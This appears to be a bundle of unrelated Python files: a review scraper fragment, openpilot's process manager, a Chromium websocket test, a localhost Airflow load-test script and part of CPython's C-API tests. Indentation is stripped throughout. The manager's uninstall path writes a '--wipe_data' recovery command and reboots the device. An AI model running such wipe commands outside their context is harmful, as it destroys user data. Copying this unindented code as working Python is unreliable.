url_list = gatherReviewUrls(soups)
# request all pages containing reviews and assemble list of review - beer id pairs
url_reqs = threadedReqs(url_list, get_id=True)
rev_soups = getSoup(url_reqs, get_id=True)
return gatherReviews(rev_soups)
if __name__ == '__main__':
scrapProfile(argv[1])
|
manager.py | #!/usr/bin/env python2.7
import os
import sys
import fcntl
import errno
import signal
import subprocess
from common.basedir import BASEDIR
sys.path.append(os.path.join(BASEDIR, "pyextra"))
os.environ['BASEDIR'] = BASEDIR
def unblock_stdout():
# get a non-blocking stdout
child_pid, child_pty = os.forkpty()
if child_pid != 0: # parent
# child is in its own process group, manually pass kill signals
signal.signal(signal.SIGINT, lambda signum, frame: os.kill(child_pid, signal.SIGINT))
signal.signal(signal.SIGTERM, lambda signum, frame: os.kill(child_pid, signal.SIGTERM))
fcntl.fcntl(sys.stdout, fcntl.F_SETFL,
fcntl.fcntl(sys.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
while True:
try:
dat = os.read(child_pty, 4096)
except OSError as e:
if e.errno == errno.EIO:
break
continue
if not dat:
break
try:
sys.stdout.write(dat)
except (OSError, IOError):
pass
os._exit(os.wait()[1])
if __name__ == "__main__":
neos_update_required = os.path.isfile("/init.qcom.rc") \
and (not os.path.isfile("/VERSION") or int(open("/VERSION").read()) < 8)
if neos_update_required:
# update continue.sh before updating NEOS
if os.path.isfile(os.path.join(BASEDIR, "scripts", "continue.sh")):
from shutil import copyfile
copyfile(os.path.join(BASEDIR, "scripts", "continue.sh"), "/data/data/com.termux/files/continue.sh")
# run the updater
print("Starting NEOS updater")
subprocess.check_call(["git", "clean", "-xdf"], cwd=BASEDIR)
os.system(os.path.join(BASEDIR, "installer", "updater", "updater"))
raise Exception("NEOS outdated")
elif os.path.isdir("/data/neoupdate"):
from shutil import rmtree
rmtree("/data/neoupdate")
unblock_stdout()
import glob
import shutil
import hashlib
import importlib
import subprocess
import traceback
from multiprocessing import Process
import zmq
from setproctitle import setproctitle #pylint: disable=no-name-in-module
from common.params import Params
import cereal
ThermalStatus = cereal.log.ThermalData.ThermalStatus
from selfdrive.services import service_list
from selfdrive.swaglog import cloudlog
import selfdrive.messaging as messaging
from selfdrive.registration import register
from selfdrive.version import version, dirty
import selfdrive.crash as crash
from selfdrive.loggerd.config import ROOT
# comment out anything you don't want to run
managed_processes = {
"thermald": "selfdrive.thermald",
"uploader": "selfdrive.loggerd.uploader",
"controlsd": "selfdrive.controls.controlsd",
"plannerd": "selfdrive.controls.plannerd",
"radard": "selfdrive.controls.radard",
"ubloxd": ("selfdrive/locationd", ["./ubloxd"]),
"mapd": "selfdrive.mapd.mapd",
"loggerd": ("selfdrive/loggerd", ["./loggerd"]),
"logmessaged": "selfdrive.logmessaged",
"tombstoned": "selfdrive.tombstoned",
"logcatd": ("selfdrive/logcatd", ["./logcatd"]),
"proclogd": ("selfdrive/proclogd", ["./proclogd"]),
"boardd": ("selfdrive/boardd", ["./boardd"]), # not used directly
"pandad": "selfdrive.pandad",
"ui": ("selfdrive/ui", ["./start.sh"]),
"calibrationd": "selfdrive.locationd.calibrationd",
"locationd": "selfdrive.locationd.locationd_local",
"visiond": ("selfdrive/visiond", ["./visiond"]),
"sensord": ("selfdrive/sensord", ["./sensord"]),
"gpsd": ("selfdrive/sensord", ["./gpsd"]),
"updated": "selfdrive.updated",
"athena": "selfdrive.athena.athenad",
}
android_packages = ("ai.comma.plus.offroad", "ai.comma.plus.frame")
running = {}
def get_running():
return running
# due to qualcomm kernel bugs SIGKILLing visiond sometimes causes page table corruption
unkillable_processes = ['visiond']
# processes to end with SIGINT instead of SIGTERM
interrupt_processes = []
persistent_processes = [
'thermald',
'logmessaged',
'logcatd',
'tombstoned',
'uploader',
'ui',
'gpsd',
'updated',
'athena'
]
car_started_processes = [
'controlsd',
'plannerd',
'loggerd',
'sensord',
'radard',
'calibrationd',
'locationd',
'visiond',
'proclogd',
'ubloxd',
'mapd',
]
def register_managed_process(name, desc, car_started=False):
global managed_processes, car_started_processes, persistent_processes
print("registering %s" % name)
managed_processes[name] = desc
if car_started:
car_started_processes.append(name)
else:
persistent_processes.append(name)
# ****************** process management functions ******************
def launcher(proc, gctx):
try:
# import the process
mod = importlib.import_module(proc)
# rename the process
setproctitle(proc)
# exec the process
mod.main(gctx)
except KeyboardInterrupt:
cloudlog.warning("child %s got SIGINT" % proc)
except Exception:
# can't install the crash handler becuase sys.excepthook doesn't play nice
# with threads, so catch it here.
crash.capture_exception()
raise
def nativelauncher(pargs, cwd):
# exec the process
os.chdir(cwd)
# because when extracted from pex zips permissions get lost -_-
os.chmod(pargs[0], 0o700)
os.execvp(pargs[0], pargs)
def start_managed_process(name):
if name in running or name not in managed_processes:
return
proc = managed_processes[name]
if isinstance(proc, str):
cloudlog.info("starting python %s" % proc)
running[name] = Process(name=name, target=launcher, args=(proc, gctx))
else:
pdir, pargs = proc
cwd = os.path.join(BASEDIR, pdir)
cloudlog.info("starting process %s" % name)
running[name] = Process(name=name, target=nativelauncher, args=(pargs, cwd))
running[name].start()
def prepare_managed_process(p):
proc = managed_processes[p]
if isinstance(proc, str):
# import this python
cloudlog.info("preimporting %s" % proc)
importlib.import_module(proc)
else:
# build this process
cloudlog.info("building %s" % (proc,))
try:
subprocess.check_call(["make", "-j4"], cwd=os.path.join(BASEDIR, proc[0]))
except subprocess.CalledProcessError:
# make clean if the build failed
cloudlog.warning("building %s failed, make clean" % (proc, ))
subprocess.check_call(["make", "clean"], cwd=os.path.join(BASEDIR, proc[0]))
subprocess.check_call(["make", "-j4"], cwd=os.path.join(BASEDIR, proc[0]))
def kill_managed_process(name):
if name not in running or name not in managed_processes:
return
cloudlog.info("killing %s" % name)
if running[name].exitcode is None:
if name in interrupt_processes:
os.kill(running[name].pid, signal.SIGINT)
else:
running[name].terminate()
# give it 5 seconds to die
running[name].join(5.0)
if running[name].exitcode is None:
if name in unkillable_processes:
cloudlog.critical("unkillable process %s failed to exit! rebooting in 15 if it doesn't die" % name)
running[name].join(15.0)
if running[name].exitcode is None:
cloudlog.critical("FORCE REBOOTING PHONE!")
os.system("date >> /sdcard/unkillable_reboot")
os.system("reboot")
raise RuntimeError
else:
cloudlog.info("killing %s with SIGKILL" % name)
os.kill(running[name].pid, signal.SIGKILL)
running[name].join()
cloudlog.info("%s is dead with %d" % (name, running[name].exitcode))
del running[name]
def pm_apply_packages(cmd):
for p in android_packages:
system("pm %s %s" % (cmd, p))
def cleanup_all_processes(signal, frame):
cloudlog.info("caught ctrl-c %s %s" % (signal, frame))
pm_apply_packages('disable')
for name in list(running.keys()):
kill_managed_process(name)
cloudlog.info("everything is dead")
# ****************** run loop ******************
def manager_init(should_register=True):
global gctx
if should_register:
reg_res = register()
if reg_res:
dongle_id, dongle_secret = reg_res
else:
raise Exception("server registration failed")
else:
dongle_id = "c"*16
# set dongle id
cloudlog.info("dongle id is " + dongle_id)
os.environ['DONGLE_ID'] = dongle_id
cloudlog.info("dirty is %d" % dirty)
if not dirty:
os.environ['CLEAN'] = '1'
cloudlog.bind_global(dongle_id=dongle_id, version=version, dirty=dirty, is_eon=True)
crash.bind_user(id=dongle_id)
crash.bind_extra(version=version, dirty=dirty, is_eon=True)
os.umask(0)
try:
os.mkdir(ROOT, 0o777)
except OSError:
pass
# set gctx
gctx = {}
def system(cmd):
try:
cloudlog.info("running %s" % cmd)
subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except subprocess.CalledProcessError as e:
cloudlog.event("running failed",
cmd=e.cmd,
output=e.output[-1024:],
returncode=e.returncode)
def manager_thread():
# now loop
context = zmq.Context()
thermal_sock = messaging.sub_sock(context, service_list['thermal'].port)
cloudlog.info("manager start")
cloudlog.info({"environ": os.environ})
# save boot log
subprocess.call(["./loggerd", "--bootlog"], cwd=os.path.join(BASEDIR, "selfdrive/loggerd"))
for p in persistent_processes:
start_managed_process(p)
# start frame
pm_apply_packages('enable')
system("am start -n ai.comma.plus.frame/.MainActivity")
if os.getenv("NOBOARD") is None:
start_managed_process("pandad")
params = Params()
logger_dead = False
while 1:
# get health of board, log this in "thermal"
msg = messaging.recv_sock(thermal_sock, wait=True)
# uploader is gated based on the phone temperature
if msg.thermal.thermalStatus >= ThermalStatus.yellow:
kill_managed_process("uploader")
else:
start_managed_process("uploader")
if msg.thermal.freeSpace < 0.18:
logger_dead = True
if msg.thermal.started:
for p in car_started_processes:
if p == "loggerd" and logger_dead:
kill_managed_process(p)
else:
start_managed_process(p)
else:
logger_dead = False
for p in car_started_processes:
kill_managed_process(p)
# check the status of all processes, did any of them die?
for p in running:
cloudlog.debug(" running %s %s" % (p, running[p]))
# is this still needed?
if params.get("DoUninstall") == "1":
break
def get_installed_apks():
dat = subprocess.check_output(["pm", "list", "packages", "-f"]).strip().split("\n")
ret = {}
for x in dat:
if x.startswith("package:"):
v,k = x.split("package:")[1].split("=")
ret[k] = v
return ret
def install_apk(path):
# can only install from world readable path
install_path = "/sdcard/%s" % os.path.basename(path)
shutil.copyfile(path, install_path)
ret = subprocess.call(["pm", "install", "-r", install_path])
os.remove(install_path)
return ret == 0
def update_apks():
# install apks
installed = get_installed_apks()
install_apks = glob.glob(os.path.join(BASEDIR, "apk/*.apk"))
for apk in install_apks:
app = os.path.basename(apk)[:-4]
if app not in installed:
installed[app] = None
cloudlog.info("installed apks %s" % (str(installed), ))
for app in installed.iterkeys():
apk_path = os.path.join(BASEDIR, "apk/"+app+".apk")
if not os.path.exists(apk_path):
continue
h1 = hashlib.sha1(open(apk_path).read()).hexdigest()
h2 = None
if installed[app] is not None:
h2 = hashlib.sha1(open(installed[app]).read()).hexdigest()
cloudlog.info("comparing version of %s %s vs %s" % (app, h1, h2))
if h2 is None or h1 != h2:
cloudlog.info("installing %s" % app)
success = install_apk(apk_path)
if not success:
cloudlog.info("needing to uninstall %s" % app)
system("pm uninstall %s" % app)
success = install_apk(apk_path)
assert success
def manager_update():
if os.path.exists(os.path.join(BASEDIR, "vpn")):
cloudlog.info("installing vpn")
os.system(os.path.join(BASEDIR, "vpn", "install.sh"))
update_apks()
def manager_prepare():
# build cereal first
subprocess.check_call(["make", "-j4"], cwd=os.path.join(BASEDIR, "cereal"))
# build all processes
os.chdir(os.path.dirname(os.path.abspath(__file__)))
for p in managed_processes:
prepare_managed_process(p)
def uninstall():
cloudlog.warning("uninstalling")
with open('/cache/recovery/command', 'w') as f:
f.write('--wipe_data\n')
# IPowerManager.reboot(confirm=false, reason="recovery", wait=true)
os.system("service call power 16 i32 0 s16 recovery i32 1")
def main():
# the flippening!
os.system('LD_LIBRARY_PATH="" content insert --uri content://settings/system --bind name:s:user_rotation --bind value:i:1')
if os.getenv("NOLOG") is not None:
del managed_processes['loggerd']
del managed_processes['tombstoned']
if os.getenv("NOUPLOAD") is not None:
del managed_processes['uploader']
if os.getenv("NOVISION") is not None:
del managed_processes['visiond']
if os.getenv("LEAN") is not None:
del managed_processes['uploader']
del managed_processes['loggerd']
del managed_processes['logmessaged']
del managed_processes['logcatd']
del managed_processes['tombstoned']
del managed_processes['proclogd']
if os.getenv("NOCONTROL") is not None:
del managed_processes['controlsd']
del managed_processes['plannerd']
del managed_processes['radard']
# support additional internal only extensions
try:
import selfdrive.manager_extensions
selfdrive.manager_extensions.register(register_managed_process) # pylint: disable=no-member
except ImportError:
pass
params = Params()
params.manager_start()
# set unset params
if params.get("IsMetric") is None:
params.put("IsMetric", "0")
if params.get("RecordFront") is None:
params.put("RecordFront", "0")
if params.get("IsFcwEnabled") is None:
params.put("IsFcwEnabled", "1")
if params.get("HasAcceptedTerms") is None:
params.put("HasAcceptedTerms", "0")
if params.get("IsUploadVideoOverCellularEnabled") is None:
params.put("IsUploadVideoOverCellularEnabled", "1")
if params.get("IsDriverMonitoringEnabled") is None:
params.put("IsDriverMonitoringEnabled", "1")
if params.get("IsGeofenceEnabled") is None:
params.put("IsGeofenceEnabled", "-1")
if params.get("SpeedLimitOffset") is None:
params.put("SpeedLimitOffset", "0")
if params.get("LongitudinalControl") is None:
params.put("LongitudinalControl", "0")
if params.get("LimitSetSpeed") is None:
params.put("LimitSetSpeed", "0")
# is this chffrplus?
if os.getenv("PASSIVE") is not None:
params.put("Passive", str(int(os.getenv("PASSIVE"))))
if params.get("Passive") is None:
raise Exception("Passive must be set to continue")
# put something on screen while we set things up
if os.getenv("PREPAREONLY") is not None:
spinner_proc = None
else:
spinner_text = "chffrplus" if params.get("Passive")=="1" else "openpilot"
spinner_proc = subprocess.Popen(["./spinner", "loading %s"%spinner_text],
cwd=os.path.join(BASEDIR, "selfdrive", "ui", "spinner"),
close_fds=True)
try:
manager_update()
manager_init()
manager_prepare()
finally:
if spinner_proc:
spinner_proc.terminate()
if os.getenv("PREPAREONLY") is not None:
return
# SystemExit on sigterm
signal.signal(signal.SIGTERM, lambda signum, frame: sys.exit(1))
try:
manager_thread()
except Exception:
traceback.print_exc()
crash.capture_exception()
finally:
cleanup_all_processes(None, None)
if params.get("DoUninstall") == "1":
uninstall()
if __name__ == "__main__":
main()
# manual exit because we are forked
sys.exit(0)
|
websocket_unittest.py | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import base64
import BaseHTTPServer
import hashlib
import socket
import threading
import unittest
from telemetry.core.backends.chrome_inspector import websocket
# Minimal handler for a local websocket server.
class _FakeWebSocketHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
key = self.headers.getheader('Sec-WebSocket-Key')
value = key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
hashed = base64.encodestring(hashlib.sha1(value).digest()).strip().lower()
self.send_response(101)
self.send_header('Sec-Websocket-Accept', hashed)
self.send_header('upgrade', 'websocket')
self.send_header('connection', 'upgrade')
self.end_headers()
self.wfile.flush()
class TestWebSocket(unittest.TestCase):
def testExports(self):
self.assertNotEqual(websocket.create_connection, None)
self.assertNotEqual(websocket.WebSocketException, None)
self.assertNotEqual(websocket.WebSocketTimeoutException, None)
def testSockOpts(self):
httpd = BaseHTTPServer.HTTPServer(('127.0.0.1', 0), _FakeWebSocketHandler)
ws_url = 'ws://127.0.0.1:%d' % httpd.server_port
threading.Thread(target=httpd.handle_request).start()
ws = websocket.create_connection(ws_url)
try:
self.assertNotEquals(
ws.sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR), 0)
finally:
ws.close()
threading.Thread(target=httpd.handle_request).start()
ws = websocket.create_connection(
ws_url,
sockopt=[(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)])
try:
self.assertNotEquals(
ws.sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR), 0)
self.assertNotEquals(
ws.sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY), 0)
finally:
ws.close()
|
benchmark_test.py | import requests
import json
import threading
from pprint import pprint
import random
import time
webserver_user = ""
webserver_passwd = ""
MAX_CONCURRENT_NUM = 200
SERVER_ADDRESS = "http://localhost:8080/api/v1/"
DAG_DIR = "dags/tutorial/dagRuns"
def make_a_request():
random_ID = str(random.randint(7, 19991))
base_json = {"dag_run_id": random_ID}
result = requests.post(SERVER_ADDRESS+DAG_DIR
,
data=json.dumps(base_json),
auth=(webserver_user,webserver_passwd), headers={'Content-Type': 'application/json'})
pprint(result.content.decode('utf-8'))
start_time = time.time()
threadpool = []
for i in range(MAX_CONCURRENT_NUM):
th = threading.Thread(target=make_a_request, args=())
threadpool.append(th)
for th in threadpool:
th.start()
for th in threadpool:
threading.Thread.join(th)
stop_time = time.time()
print("Total time cost:")
print(stop_time-start_time) |
test_capi.py | # Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
import os
import pickle
import random
import re
import subprocess
import sys
import sysconfig
import textwrap
import time
import unittest
from test import support
from test.support import MISSING_C_DOCSTRINGS
from test.support.script_helper import assert_python_failure
try:
import _posixsubprocess
except ImportError:
_posixsubprocess = None
try:
import threading
except ImportError:
threading = None
# Skip this test if the _testcapi module isn't available.
_testcapi = support.import_module('_testcapi')
# Were we compiled --with-pydebug or with #define Py_DEBUG?
Py_DEBUG = hasattr(sys, 'gettotalrefcount')
def testfunction(self):
"""some doc"""
return self
class InstanceMethod:
id = _testcapi.instancemethod(id)
testfunction = _testcapi.instancemethod(testfunction)
class CAPITest(unittest.TestCase):
def test_instancemethod(self):
inst = InstanceMethod()
self.assertEqual(id(inst), inst.id())
self.assertTrue(inst.testfunction() is inst)
self.assertEqual(inst.testfunction.__doc__, testfunction.__doc__)
self.assertEqual(InstanceMethod.testfunction.__doc__, testfunction.__doc__)
InstanceMethod.testfunction.attribute = "test"
self.assertEqual(testfunction.attribute, "test")
self.assertRaises(AttributeError, setattr, inst.testfunction, "attribute", "test")
@unittest.skipUnless(threading, 'Threading required for this test.')
def test_no_FatalError_infinite_loop(self):
with support.SuppressCrashReport():
p = subprocess.Popen([sys.executable, "-c",
'import _testcapi;'
'_testcapi.crash_no_current_thread()'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
(out, err) = p.communicate()
self.assertEqual(out, b'')
# This used to cause an infinite loop.
self.assertTrue(err.rstrip().startswith(
b'Fatal Python error:'
b' PyThreadState_Get: no current thread'))
def test_memoryview_from_NULL_pointer(self):
self.assertRaises(ValueError, _testcapi.make_memoryview_from_NULL_pointer)
def test_exc_info(self):
raised_exception = ValueError("5")
new_exc = TypeError("TEST")
try:
raise raised_exception
except ValueError as e:
tb = e.__traceback__
orig_sys_exc_info = sys.exc_info()
orig_exc_info = _testcapi.set_exc_info(new_exc.__class__, new_exc, None)
new_sys_exc_info = sys.exc_info()
new_exc_info = _testcapi.set_exc_info(*orig_exc_info)
reset_sys_exc_info = sys.exc_info()
self.assertEqual(orig_exc_info[1], e)
self.assertSequenceEqual(orig_exc_info, (raised_exception.__class__, raised_exception, tb))
self.assertSequenceEqual(orig_sys_exc_info, orig_exc_info)
self.assertSequenceEqual(reset_sys_exc_info, orig_exc_info)
self.assertSequenceEqual(new_exc_info, (new_exc.__class__, new_exc, None))
self.assertSequenceEqual(new_sys_exc_info, new_exc_info)
else:
self.assertTrue(False)
@unittest.skipUnless(_posixsubprocess, '_posixsubprocess required for this test.')
def test_seq_bytes_to_charp_array(self):
# Issue #15732: crash in _PySequence_BytesToCharpArray()
class Z(object):
def __len__(self):
return 1
self.assertRaises(TypeError, _posixsubprocess.fork_exec,
1,Z(),3,[1, 2],5,6,7,8,9,10,11,12,13,14,15,16,17)
# Issue #15736: overflow in _PySequence_BytesToCharpArray()
class Z(object):
def __len__(self):
return sys.maxsize
def __getitem__(self, i):
return b'x'
self.assertRaises(MemoryError, _posixsubprocess.fork_exec,
1,Z(),3,[1, 2],5,6,7,8,9,10,11,12,13,14,15,16,17)
@unittest.skipUnless(_posixsubprocess, '_posixsubprocess required for this test.')
def test_subprocess_fork_exec(self):
class Z(object):
def __len__(self):
return 1
# Issue #15738: crash in subprocess_fork_exec()
self.assertRaises(TypeError, _posixsubprocess.fork_exec,
Z(),[b'1'],3,[1, 2],5,6,7,8,9,10,11,12,13,14,15,16,17)
@unittest.skipIf(MISSING_C_DOCSTRINGS,
"Signature information for builtins requires docstrings")
def test_docstring_signature_parsing(self):
self.assertEqual(_testcapi.no_docstring.__doc__, None)
self.assertEqual(_testcapi.no_docstring.__text_signature__, None)
self.assertEqual(_testcapi.docstring_empty.__doc__, None)
self.assertEqual(_testcapi.docstring_empty.__text_signature__, None)
self.assertEqual(_testcapi.docstring_no_signature.__doc__,
"This docstring has no signature.")
self.assertEqual(_testcapi.docstring_no_signature.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_invalid_signature.__doc__,
"docstring_with_invalid_signature($module, /, boo)\n"
"\n"
"This docstring has an invalid signature."
)
self.assertEqual(_testcapi.docstring_with_invalid_signature.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_invalid_signature2.__doc__,
"docstring_with_invalid_signature2($module, /, boo)\n"
"\n"
"--\n"
"\n"
"This docstring also has an invalid signature."
)
self.assertEqual(_testcapi.docstring_with_invalid_signature2.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_signature.__doc__,
"This docstring has a valid signature.")
self.assertEqual(_testcapi.docstring_with_signature.__text_signature__, "($module, /, sig)")
self.assertEqual(_testcapi.docstring_with_signature_but_no_doc.__doc__, None)
self.assertEqual(_testcapi.docstring_with_signature_but_no_doc.__text_signature__,
"($module, /, sig)")
self.assertEqual(_testcapi.docstring_with_signature_and_extra_newlines.__doc__,
"\nThis docstring has a valid signature and some extra newlines.")
self.assertEqual(_testcapi.docstring_with_signature_and_extra_newlines.__text_signature__,
"($module, /, parameter)")
def test_c_type_with_matrix_multiplication(self):
M = _testcapi.matmulType
m1 = M()
m2 = M()
self.assertEqual(m1 @ m2, ("matmul", m1, m2))
self.assertEqual(m1 @ 42, ("matmul", m1, 42))
self.assertEqual(42 @ m1, ("matmul", 42, m1))
o = m1
o @= m2
self.assertEqual(o, ("imatmul", m1, m2))
o = m1
o @= 42
self.assertEqual(o, ("imatmul", m1, 42))
o = 42
o @= m1
self.assertEqual(o, ("matmul", 42, m1))
def test_return_null_without_error(self):
# Issue #23571: A function must not return NULL without setting an
# error
if Py_DEBUG:
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.return_null_without_error()
""")
rc, out, err = assert_python_failure('-c', code)
self.assertRegex(err.replace(b'\r', b''),
br'Fatal Python error: a function returned NULL '
br'without setting an error\n'
br'SystemError: <built-in function '
br'return_null_without_error> returned NULL '
br'without setting an error\n'
br'\n'
br'Current thread.*:\n'
br' File .*", line 6 in <module>')
else:
with self.assertRaises(SystemError) as cm:
_testcapi.return_null_without_error()
self.assertRegex(str(cm.exception),
'return_null_without_error.* '
'returned NULL without setting an error')
def test_return_result_with_error(self):
# Issue #23571: A function must not return a result with an error set
if Py_DEBUG:
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.return_result_with_error()
""")
rc, out, err = assert_python_failure('-c', code)
self.assertRegex(err.replace(b'\r', b''),
br'Fatal Python error: a function returned a '
br'result with an error set\n'
br'ValueError\n'
br'\n'
br'The above exception was the direct cause '
br'of the following exception:\n'
br'\n'
br'SystemError: <built-in '
br'function return_result_with_error> '
br'returned a result with an error set\n'
br'\n'
br'Current thread.*:\n'
br' File .*, line 6 in <module>')
else:
with self.assertRaises(SystemError) as cm:
_testcapi.return_result_with_error()
self.assertRegex(str(cm.exception),
'return_result_with_error.* '
'returned a result with an error set')
def test_buildvalue_N(self):
_testcapi.test_buildvalue_N()
@unittest.skipUnless(threading, 'Threading required for this test.')
class TestPendingCalls(unittest.TestCase):
def pendingcalls_submit(self, l, n):
def callback():
#this function can be interrupted by thread switching so let's
#use an atomic operation
l.append(None)
for i in range(n):
time.sleep(random.random()*0.02) #0.01 secs on average
#try submitting callback until successful.
#rely on regular interrupt to flush queue if we are
#unsuccessful.
while True:
if _testcapi._pending_threadfunc(callback):
break;
def pendingcalls_wait(self, l, n, context = None):
#now, stick around until l[0] has grown to 10
count = 0;
while len(l) != n:
#this busy loop is where we expect to be interrupted to
#run our callbacks. Note that callbacks are only run on the
#main thread
if False and support.verbose:
print("(%i)"%(len(l),),)
for i in range(1000):
a = i*i
if context and not context.event.is_set():
continue
count += 1
self.assertTrue(count < 10000,
"timeout waiting for %i callbacks, got %i"%(n, len(l)))
if False and support.verbose:
print("(%i)"%(len(l),))
def test_pendingcalls_threaded(self):
#do every callback on a separate thread
n = 32 #total callbacks
threads = []
class foo(object):pass
context = foo()
context.l = []
context.n = 2 #submits per thread
context.nThreads = n // context.n
context.nFinished = 0
context.lock = threading.Lock()
context.event = threading.Event()
threads = [threading.Thread(target=self.pendingcalls_thread,
args=(context,))
for i in range(context.nThreads)]
with support.start_threads(threads):
self.pendingcalls_wait(context.l, n, context)
def pendingcalls_thread(self, context):
try:
self.pendingcalls_submit(context.l, context.n)
finally:
with context.lock:
context.nFinished += 1
nFinished = context.nFinished
if False and support.verbose:
print("finished threads: ", nFinished)
if nFinished == context.nThreads:
context.event.set()
def test_pendingcalls_non_threaded(self):
#again, just using the main thread, likely they will all be dispatched at
#once. It is ok to ask for too many, because we loop until we find a slot.
#the loop can be interrupted to dispatch.
#there are only 32 dispatch slots, so we go for twice that!
l = []
n = 64
self.pendingcalls_submit(l, n)
self.pendingcalls_wait(l, n)
class SubinterpreterTest(unittest.TestCase):
def test_subinterps(self):
import builtins
r, w = os.pipe()
code = """if 1:
import sys, builtins, pickle
with open({:d}, "wb") as f:
pickle.dump(id(sys.modules), f)
pickle.dump(id(builtins), f)
""".format(w)
with open(r, "rb") as f:
ret = support.run_in_subinterp(code)
self.assertEqual(ret, 0)
self.assertNotEqual(pickle.load(f), id(sys.modules))
self.assertNotEqual(pickle.load(f), id(builtins))
# Bug #6012
class Test6012(unittest.TestCase):
def test(self):
self.assertEqual(_testcapi.argparsing("Hello", "World"), 1)
class EmbeddingTests(unittest.TestCase):
def setUp(self):
here = os.path.abspath(__file__)
basepath = os.path.dirname(os.path.dirname(os.path.dirname(here)))
exename = "_testembed"
if sys.platform.startswith("win"):
ext = ("_d" if "_d" in sys.executable else "") + ".exe"
exename += ext
exepath = os.path.dirname(sys.executable)
else:
exepath = os.path.join(basepath, "Programs")
self.test_exe = exe = os.path.join(exepath, exename)
if not os.path.exists(exe):
self.skipTest("%r doesn't exist" % exe)
# This is needed otherwise we get a fatal error:
# "Py_Initialize: Unable to get the locale encoding
# LookupError: no codec search functions registered: can't find encoding"
self.oldcwd = os.getcwd()
os.chdir(basepath)
def tearDown(self):
os.chdir(self.oldcwd)
def run_embedded_interpreter(self, *args):
"""Runs a test in the embedded interpreter"""
cmd = [self.test_exe]
cmd.extend(args)
p = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True)
(out, err) = p.communicate()
self.assertEqual(p.returncode, 0,
"bad returncode %d, stderr is %r" %
(p.returncode, err))
return out, err
def test_subinterps(self):
# This is just a "don't crash" test
out, err = self.run_embedded_interpreter("repeated_init_and_subinterpreters")
if support.verbose:
print()
print(out)
print(err)
@staticmethod
def _get_default_pipe_encoding():
rp, wp = os.pipe()
try:
with os.fdopen(wp, 'w') as w:
default_pipe_encoding = w.encoding
finally:
os.close(rp)
return default_pipe_encoding
def test_forced_io_encoding(self):
# Checks forced configuration of embedded interpreter IO streams
out, err = self.run_embedded_interpreter("forced_io_encoding")
if support.verbose:
print()
print(out)
print(err)
expected_errors = sys.__stdout__.errors
expected_stdin_encoding = sys.__stdin__.encoding
expected_pipe_encoding = self._get_default_pipe_encoding()
expected_output = '\n'.join([
"--- Use defaults ---",
"Expected encoding: default",
"Expected errors: default",
"stdin: {in_encoding}:{errors}",
"stdout: {out_encoding}:{errors}",
"stderr: {out_encoding}:backslashreplace",
"--- Set errors only ---",
"Expected encoding: default",
"Expected errors: ignore",
"stdin: {in_encoding}:ignore",
"stdout: {out_encoding}:ignore",
"stderr: {out_encoding}:backslashreplace",
"--- Set encoding only ---",
"Expected encoding: latin-1",
"Expected errors: default",
"stdin: latin-1:{errors}",
"stdout: latin-1:{errors}",
"stderr: latin-1:backslashreplace",
"--- Set encoding and errors ---",
"Expected encoding: latin-1",
"Expected errors: replace",
"stdin: latin-1:replace",
"stdout: latin-1:replace",
"stderr: latin-1:backslashreplace"])
expected_output = expected_output.format(
in_encoding=expected_stdin_encoding,
out_encoding=expected_pipe_encoding,
errors=expected_errors)
# This is useful if we ever trip over odd platform behaviour
self.maxDiff = None
self.assertEqual(out.strip(), expected_output)
class SkipitemTest(unittest.TestCase):
def test_skipitem(self):
"""
If this test failed, you probably added a new "format unit"
in Python/getargs.c, but neglected to update our poor friend
skipitem() in the same file. (If so, shame on you!)
With a few exceptions**, this function brute-force tests all
printable ASCII*** characters (32 to 126 inclusive) as format units,
checking to see that PyArg_ParseTupleAndKeywords() return consistent
errors both when the unit is attempted to be used and when it is
skipped. If the format unit doesn't exist, we'll get one of two
specific error messages (one for used, one for skipped); if it does
exist we *won't* get that error--we'll get either no error or some
other error. If we get the specific "does not exist" error for one
test and not for the other, there's a mismatch, and the test fails.
** Some format units have special funny semantics and it would
be difficult to accommodate them here. Since these are all
well-established and properly skipped in skipitem() we can
get away with not testing them--this test is really intended
to catch *new* format units.
*** Python C source files must be ASCII. Therefore it's impossible
to have non-ASCII format units.
"""
empty_tuple = ()
tuple_1 = (0,)
dict_b = {'b':1}
keywords = ["a", "b"]
for i in range(32, 127):
c = chr(i)
# skip parentheses, the error reporting is inconsistent about them
# skip 'e', it's always a two-character code
# skip '|' and '$', they don't represent arguments anyway
if c in '()e|$':
continue
# test the format unit when not skipped
format = c + "i"
try:
# (note: the format string must be bytes!)
_testcapi.parse_tuple_and_keywords(tuple_1, dict_b,
format.encode("ascii"), keywords)
when_not_skipped = False
except SystemError as e:
s = "argument 1 (impossible<bad format char>)"
when_not_skipped = (str(e) == s)
except TypeError:
when_not_skipped = False
# test the format unit when skipped
optional_format = "|" + format
try:
_testcapi.parse_tuple_and_keywords(empty_tuple, dict_b,
optional_format.encode("ascii"), keywords)
when_skipped = False
except SystemError as e:
s = "impossible<bad format char>: '{}'".format(format)
when_skipped = (str(e) == s)
message = ("test_skipitem_parity: "
"detected mismatch between convertsimple and skipitem "
"for format unit '{}' ({}), not skipped {}, skipped {}".format(
c, i, when_skipped, when_not_skipped))
self.assertIs(when_skipped, when_not_skipped, message)
def test_parse_tuple_and_keywords(self):
# parse_tuple_and_keywords error handling tests
self.assertRaises(TypeError, _testcapi.parse_tuple_and_keywords,
(), {}, 42, [])
self.assertRaises(ValueError, _testcapi.parse_tuple_and_keywords,
(), {}, b'', 42)
